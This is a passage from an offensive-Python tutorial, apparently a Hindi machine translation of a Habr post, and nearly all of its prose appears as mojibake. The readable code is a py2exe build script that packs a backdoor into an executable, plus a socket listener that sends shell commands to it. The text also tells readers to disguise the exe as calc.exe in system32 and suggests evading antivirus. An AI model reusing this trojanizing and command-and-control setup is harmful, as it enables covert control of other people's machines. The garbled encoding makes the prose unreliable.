рдПрдХ рдЕрджреНрднреБрдд рдкрд╛рдпрдерди рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдиреЗрдВрдЧреЗpy2.exe , рдЬреЛ рдЖрдкрдХреЛ рдЕрдкрдиреЗ рдкрд╛рдпрдерди рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╡рд┐рдВрдбреЛрдЬ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдореЗрдВ рдмрджрд▓рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЕрд░реНрдерд╛рддред exe рдлрд╝рд╛рдЗрд▓ред

7.2.3 py2exe рдХрд╛ рдЙрдкрдпреЛрдЧ

рдкреБрд╕реНрддрдХрд╛рд▓рдп py2exe [2] , рдПрдХ рдкреВрд░реНрдг рд╡рд┐рдХрд╕рд┐рдд рд╡рд┐рдВрдбреЛрдЬ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ рдХреЛ Python рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╕рдВрдХрд▓рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрднрд╡ рд╣реИред рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ, рдЖрдкрдХреЛ рдПрдХ рд╡рд┐рд╢реЗрд╖ рд╕реНрдерд╛рдкрдирд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдмрдирд╛рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдпрд╣ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рд╣рдо рдХреНрдпрд╛ рд╕рдВрдХрд▓рди рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВред рдкрд┐рдЫрд▓реЗ рджрд░рд╡рд╛рдЬреЗ рдХреЛ рд╕рдВрдХрд▓рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдо рдПрдХ рдХрд╛рдлреА рд╕рд░рд▓ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдмрдирд╛рдПрдВрдЧреЗред рдПрдХ рдирдИ рдлрд╝рд╛рдЗрд▓ рдЦреЛрд▓реЗрдВ, рдЗрд╕реЗ setup.py рдирд╛рдо рджреЗрдВ рдФрд░ рдирд┐рдореНрди рдХреЛрдб рджрд░реНрдЬ рдХрд░реЗрдВред

setup.py
 # Backdoor builder from distutils.core import setup import py2exe setup(console=['backdoor.py'], options = {'py2exe':{'bundle_files':1}}, zipfile = None, ) 

рд╣рд╛рдВ, рд╡рд╣ рдЗрддрдирд╛ рд╕рд░рд▓ рд╣реИред рдЖрдЗрдП рдЙрди рдорд╛рдкрджрдВрдбреЛрдВ рдХреЛ рджреЗрдЦреЗрдВ рдЬреЛ рд╕реНрдерд╛рдкрдирд╛ рдлрд╝рдВрдХреНрд╢рди рдореЗрдВ рдкрд╛рд░рд┐рдд рдХрд┐рдП рдЧрдП рдереЗред рдкрд╣рд▓рд╛ рдкреИрд░рд╛рдореАрдЯрд░ "рдХрдВрд╕реЛрд▓" рд╕рдВрдХрд▓рд┐рдд рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рдореБрдЦреНрдп рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдирд╛рдо рд╣реИред рдСрдкреНрд╢рдВрд╕ рдФрд░ рдЬрд┐рдкрдлрд╛рдЗрд▓ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рдореБрдЦреНрдп рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдореЗрдВ рдкрд╛рдпрдерди рдбреАрдПрд▓рдПрд▓ рдФрд░ рдЕрдиреНрдп рд╕рднреА рдЖрд╢реНрд░рд┐рдд рдореЙрдбреНрдпреВрд▓ рдХреЛ рд╕рдВрдпреЛрдЬрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдпрд╣ рд╣рдорд╛рд░реЗ рдкрд┐рдЫрд▓реЗ рджрд░рд╡рд╛рдЬреЗ рдХреЛ рдореЛрдмрд╛рдЗрд▓ рдмрдирд╛рддрд╛ рд╣реИ, рдЗрд╕ рдЕрд░реНрде рдореЗрдВ рдХрд┐ рдпрд╣ рдЖрдкрдХреЛ рдПрдХ рдРрд╕реА рдкреНрд░рдгрд╛рд▓реА рдореЗрдВ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдЬрд╣рд╛рдВ рдХреЛрдИ рдкрд╛рдпрдерди рдирд╣реАрдВ рд╣реИ, рдФрд░ рдпрд╣ рдХрд╛рдо рдХрд░реЗрдЧрд╛ред рд╕рдВрдХрд▓рд┐рдд рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ, рдЬрд╛рдБрдЪ рд▓реЗрдВ рдХрд┐ рдлрд╝рд╛рдЗрд▓реЗрдВ my_debugger_defines.py , backdoor.py, рдФрд░ setup.py рдПрдХ рд╣реА рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рд╣реИрдВред рдлрд┐рд░ рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рдкрд░ рдЬрд╛рдПрдВ рдФрд░ рдиреАрдЪреЗ рджрд┐рдЦрд╛рдП рдЕрдиреБрд╕рд╛рд░ рдЗрдВрд╕реНрдЯреЙрд▓реЗрд╢рди рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ:

 python setup.py py2exe 

рдЬрд┐рд╕рдХреЗ рдмрд╛рдж рдЖрдк рд╕рдВрдХрд▓рди рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реЗ рдЖрдЙрдЯрдкреБрдЯ рджреЗрдЦреЗрдВрдЧреЗ, рдЬрд┐рд╕рдХреЗ рдмрд╛рдж рдЖрдкрдХреЗ рдкрд╛рд╕ рджреЛ рдбрд┐рд╕реНрдЯрд░реНрдм рдФрд░ рдмрд┐рд▓реНрдб рдбрд╛рдпрд░реЗрдХреНрдЯреНрд░реА рд╣реЛрдВрдЧреА ред рдбрд┐рд╕реНрдЯ рдлрд╝реЛрд▓реНрдбрд░ рдХреЗ рдиреНрдпреВрдЯреНрд░рд┐рдпрд╛ рдореЗрдВ, backdoor.exe рдЖрдкрдХрд╛ рдЗрдВрддрдЬрд╛рд░ рдХрд░реЗрдЧрд╛ ред рдЗрд╕реЗ calc.exe рдкрд░ рдирд╛рдо рдмрджрд▓реЗрдВ рдФрд░ рдЗрд╕реЗ рдкрд░реАрдХреНрд╖рдг рдХреЗ рд▓рд┐рдП рд▓рдХреНрд╖реНрдп рдкреНрд░рдгрд╛рд▓реА рдореЗрдВ рдХреЙрдкреА рдХрд░реЗрдВред рдлрд┐рд░ "C: \ WINDOWS \ system32 \" рд╕реЗ рдореВрд▓ calc.exe рдХреА рдкреНрд░рддрд┐рд▓рд┐рдкрд┐ рдмрдирд╛рдПрдБ рдФрд░ рдЗрд╕реЗ рдбреНрд░рд╛рдЗрд╡ "C: \" рдХреА рдЬрдбрд╝ рдореЗрдВ рдбрд╛рд▓реЗрдВред рдлрд┐рд░ рдкрд┐рдЫрд▓реЗ рджрд░рд╡рд╛рдЬреЗ calc.exe рдХреЛ "C: \ WINDOWS \ system32 \" рдкрд░ рд▓реЗ рдЬрд╛рдПрдВред рдЕрдм рд╣рдо рд╕рднреА рдХреЛ рд░рд┐рдореЛрдЯ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рд╢реЗрд▓ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдХрдорд╛рдВрдб рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдФрд░ рдЗрд╕реЗ рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рд░рд▓ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓рд┐рдЦреА рдЬрд╛ рд╕рдХреЗред рдПрдХ рдирдпрд╛ рдкрд╛рдпрдерди рдлрд╝рд╛рдЗрд▓ рдЦреЛрд▓реЗрдВ, рдЗрд╕реЗ backdoor_shell.py рдирд╛рдо рджреЗрдВрдФрд░ рдирд┐рдореНрди рдХреЛрдб рджрд░реНрдЬ рдХрд░реЗрдВред

backdoor_shell.py
 import socket import sys host = "192.168.244.1" port = 4444 server = socket.socket( socket.AF_INET, socket.SOCK_STREAM ) server.bind( ( host, port ) ) server.listen( 5 ) print "[*] Server bound to %s:%d" % ( host , port ) connected = False while 1: #accept connections from outside if not connected: (client, address) = server.accept() connected = True print "[*] Accepted Shell Connection" buffer = "" while 1: try: recv_buffer = client.recv(4096) print "[*] Received: %s" % recv_buffer if not len(recv_buffer): break else: buffer += recv_buffer except: break # We've received everything, now it's time to send some input command = raw_input("Enter Command> ") client.sendall( command + "\r\n\r\n" ) print "[*] Sent => %s" % command 

рдпрд╣ рдПрдХ рдмрд╣реБрдд рд╣реА рд╕рд░рд▓ рд╕реЙрдХреЗрдЯ рд╕рд░реНрд╡рд░ рд╣реИ рдЬреЛ рдмрд╕ рдПрдХ рдХрдиреЗрдХреНрд╢рди рдХреА рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░рддрд╛ рд╣реИ рдФрд░ рд╕реЙрдХреЗрдЯ рдХреЛ рдкрдврд╝рддрд╛ / рд▓рд┐рдЦрддрд╛ рд╣реИред рдЕрдкрдиреЗ рд╡рд╛рддрд╛рд╡рд░рдг рдХреЗ рд▓рд┐рдП рд╣реЛрд╕реНрдЯ рдФрд░ рдкреЛрд░реНрдЯ рдЪрд░ рдХрд╛ рдПрдХ рд╕реЗрдЯ рдХреЗ рд╕рд╛рде рд╕рд░реНрд╡рд░ рд╢реБрд░реВ рдХрд░реЗрдВред рдлрд┐рд░ calc.exe рдЪрд▓рд╛рдПрдВрд░рд┐рдореЛрдЯ рд╕рд┐рд╕реНрдЯрдо рдкрд░ (рдпрд╣ рд╕реНрдерд╛рдиреАрдп рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рд╕рдорд╛рди рдХрд╛рдо рдХрд░реЗрдЧрд╛)ред рдлрд┐рд░ рдЖрдкрдХреЛ рдХреИрд▓рдХреБрд▓реЗрдЯрд░ рд╡рд┐рдВрдбреЛ рдХреЛ рджреЗрдЦрдирд╛ рдЪрд╛рд╣рд┐рдП, рдФрд░ рдЖрдкрдХреЗ рд╕реЙрдХреЗрдЯ рд╕рд░реНрд╡рд░ рдХреЛ рдХрдиреЗрдХреНрд╢рди рд░рдЬрд┐рд╕реНрдЯрд░ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП рдФрд░ рдХреБрдЫ рдбреЗрдЯрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред рджреВрд░рд╕реНрде рдкреНрд░рдгрд╛рд▓реА рд╕реЗ рдбреЗрдЯрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рдЪрдХреНрд░ рдХреЛ рдмрд╛рдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, CTRL-C рджрдмрд╛рдПрдВ, рдпрд╣ рдЖрдкрдХреЛ рдПрдХ рдХрдорд╛рдВрдб рджрд░реНрдЬ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛ред рд░рдЪрдирд╛рддреНрдордХ рд╣реЛрдиреЗ рдХреЗ рд▓рд┐рдП рд╕реНрд╡рддрдВрддреНрд░ рдорд╣рд╕реВрд╕ рдХрд░реЗрдВ, рдпрд╣рд╛рдВ рдЖрдк dir, cd рдпрд╛ type рдЬреИрд╕реЗ рдХрдорд╛рдВрдб рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдпреЗ рд╕рднреА рд╡рд┐рдВрдбреЛрдЬ рдХреЗ рджреЗрд╢реА рд╢реЗрд▓ рд╢реЗрд▓ рдХрдорд╛рдВрдб рд╣реИрдВред рдкреНрд░рддреНрдпреЗрдХ рдХрдорд╛рдВрдб рджрд░реНрдЬ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдЖрдкрдХреЛ рдЗрд╕рдХреЗ рдХрд╛рд░реНрдп рдХрд╛ рдкрд░рд┐рдгрд╛рдо рдкреНрд░рд╛рдкреНрдд рд╣реЛрдЧрд╛ред рдЕрдм рдЖрдкрдХреЗ рдкрд╛рд╕ рдкрд┐рдЫрд▓реЗ рджрд░рд╡рд╛рдЬреЗ рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХрд░рдиреЗ рдХрд╛ рдПрдХ рдкреНрд░рднрд╛рд╡реА рдФрд░ рдереЛрдбрд╝рд╛ рдЕрджреГрд╢реНрдп рд╕рд╛рдзрди рд╣реИред рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХрд╛ рд╡рд┐рд╕реНрддрд╛рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдкрдиреА рдХрд▓реНрдкрдирд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ; рдЪрд╛рд▓рд╛рдХреА рд╕реЗ рд╕реЛрдЪреЗрдВ рдФрд░ рдПрдВрдЯреАрд╡рд╛рдпрд░рд╕ рдХреЗ рдЖрд╕рдкрд╛рд╕ рдкрд╣реБрдВрдЪреЗрдВред рдкрд╛рдпрдерди рдореЗрдВ рдРрд╕реА рдЪреАрдЬреЛрдВ рдХреЛ рд╡рд┐рдХрд╕рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд╛рдн рдЧрддрд┐, рд╕рд╣рдЬрддрд╛ рдФрд░ рдкреБрди: рдкреНрд░рдпреЛрдЬреНрдп рд╣реИрдВред

рдЬреИрд╕рд╛ рдХрд┐ рдЖрдкрдиреЗ рдЗрд╕ рдЕрдзреНрдпрд╛рдп рдореЗрдВ рджреЗрдЦрд╛, рдХреЛрдб рд▓рд╛рдЧреВ рдХрд░рдирд╛ рдФрд░ DLL рджреЛ рдмрд╣реБрдд рд╣реА рдЙрдкрдпреЛрдЧреА рдФрд░ рд╢рдХреНрддрд┐рд╢рд╛рд▓реА рддрдХрдиреАрдХреЗрдВ рд╣реИрдВред рдЕрдм рдЖрдк рдПрдХ рдирдП рдХреМрд╢рд▓ рдХреЗ рд╕рд╛рде рд╕рд╢рд╕реНрддреНрд░ рд╣реИрдВ рдЬреЛ рдПрдХ рдкреЗрдВрдЯреЗрд╕реНрдЯ рдпрд╛ рд░рд┐рд╡рд░реНрд╕ рдХреЗ рджреМрд░рд╛рди рдХрд╛рдо рдореЗрдВ рдЖрдПрдЧрд╛ред рдЕрдЧрд▓реЗ рдЕрдзреНрдпрд╛рдп рдореЗрдВ, рд╣рдо рдкрд╛рдпрдерди рдЖрдзрд╛рд░рд┐рдд рдлрд╝рдЬрд╝рд░реНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдкрд░ рдзреНрдпрд╛рди рдХреЗрдВрджреНрд░рд┐рдд рдХрд░реЗрдВрдЧреЗред рджреЛрдиреЛрдВ рджреЗрд╢реА рдФрд░ рдХреБрдЫ рдЦреБрд▓реЗ рд╕реНрд░реЛрдд рдЙрдкрдХрд░рдг рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред

рд╕рдВрджрд░реНрдн

[рез] MSDN CreateRemoteThread рдлрд╝рдВрдХреНрд╢рди рджреЗрдЦреЗрдВ (http://msdn.microsoft.com/en-us/library/ms682437.aspx)

[2] py2exe рдбрд╛рдЙрдирд▓реЛрдб рдХреЗ рд▓рд┐рдП, (http://sourceforth.net/project/showfiles рдкрд░ рдЬрд╛рдПрдВ .php? group_id = 15583)

рд╕реНрд░реЛрдд

Source: https://habr.com/ru/post/In151621/


All Articles